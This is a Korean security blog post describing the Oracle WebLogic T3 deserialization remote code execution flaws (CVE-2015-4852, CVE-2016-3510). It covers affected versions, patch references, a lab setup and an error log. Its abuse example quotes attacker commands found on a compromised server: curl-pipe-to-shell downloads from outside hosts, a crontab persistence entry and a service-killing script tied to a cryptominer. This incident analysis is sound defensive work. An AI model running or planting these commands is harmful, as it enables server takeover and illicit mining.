Oracle WebLogic Server Remote Security Vulnerability
(CVE-2015-4852, CVE-2016-3510)
- Oracle WebLogic Server Java Object Deserialization RCE
- Java Unserialize vulnerability on t3 enabled backends
1. 개요
- WLS Security Component 사용 시 원격 공격자가 T3 프로토콜 트래픽에서 만들어진 직렬화(Serialization) 된 Java 객체를 통해 임의의 명령을 7001/TCP로 전송하여 실행
- 사용자 입력에서 역 직렬화(Deserialization)를 직접 수행하는 경우, 공격자가 악의적인 입력을 구성하여 Deserialization가 예상치 못한 객체를 생성하여 임의의 코드 실행 가능
- oracle_common/modules/com.bea.core.apache.commons.collections.jar
- 해당 공격이 성공하면 원격 코드 실행 가능
2. 영향받는 버전
- WebLogic Server 10.3.6.0
- WebLogic Server 12.1.3.0
- WebLogic Server 12.2.1.0
3. 릴리즈 일자
CVE-2015-4852 : 2015/06/24
CVE-2016-3510 : 2016/03/17
4. 대응방안
4.1 2016년 7월 Oracle Critical Patch Update
http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html
5. 참고자료
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4852
https://nvd.nist.gov/vuln/detail/CVE-2015-4852
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3510
https://nvd.nist.gov/vuln/detail/CVE-2016-3510
http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html
6. POC(Proof Of Concept)
6.1 Victim 환경
- CentOS 6 x64
- Weblogic 11g : Weblogic Server 10.3.6.0
- Java : Java 1.7.0_80
6.2 Attacker 환경
- CentOS 6 x64
6.3 취약점 공격 (exploit)
6.4 취약점 공격 실행 결과 화면
6.5 Log 확인
####<2018. 3. 19 ▒▒▒▒ 6▒▒ 50▒▒ 14▒▒ KST> <Error> <RJVM> <XXX> <test> <ExecuteThread: '3' for queue: 'weblogic.socket.Muxer'> <<WLS Kernel>> <> <> <1514973014380> <BEA-000503> <Incoming message header or abbreviation processing failed java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set at com.sun.proxy.$Proxy89.entrySet(Unknown Source) at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:443) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:606) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370) at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:66) at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:38) at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:283) at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:213) at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:498) at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:330) at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:387) at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:967) at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:899) at weblogic.socket.PosixSocketMuxer.processSockets(PosixSocketMuxer.java:130) at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29) at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:42) at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:145) at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:117) |
6.6 악용예제
- 해당 취약점이 존재하는 WAS 서버에 중국 해커로 추정되는 공격자에 의하여 비트 코인 채굴기 (miner) 동작 및 정상 서비스를 방해는 쉘 스크립트 동작 수행
$ ps -ef | grep wls ... wls 17510 17506 0 18:34 ? 00:00:00 /bin/sh -c curl http://198.xxx.xxx.73/2 | sh wls 13771 1 99 01:54 ? 1-17:17:07 /tmp/xfsallocd -B ... $ crontab -l */1 * * * * curl http://216.xxx.xxx.227/js/2 | sh */1 * * * * /tmp/fs.sh $ cat /tmp/fs.sh #!/bin/sh pkill -9 atd pkill -f atd pkill -f polkitd pkill -f http pkill -f httpd ... |
※ 국내에서 해당 취약점은 miner를 구동하기 위하여 주로 코이너들이 활용하고 있으며, 개인정보 유출/시스템 파괴/2차 공격을 위한 흔적 삭제 등의 피해는 잘 보고되지 않고 있음
'Vulnerability' 카테고리의 다른 글
[Apache Struts] Apache Struts2 취약점 CVE-2016-4438 (S2-037) 개요 및 실습 (0) | 2018.03.21 |
---|---|
Oracle WebLogic WLS Security Component Remote Code Execution (CVE-2017-10271, CVE-2017-3506) (1) | 2018.02.01 |
[Apache Struts] Apache Struts2 취약점 CVE-2017-5638(S2-045) 개요 및 실습 (0) | 2018.01.17 |
[취약점 신고] K정보원 기능 수준의 접근통제 누락 (201505, 기관요청 비공개) (0) | 2017.05.09 |
[취약점 신고] N사 XSS 취약점 신고 #3 (0) | 2017.04.01 |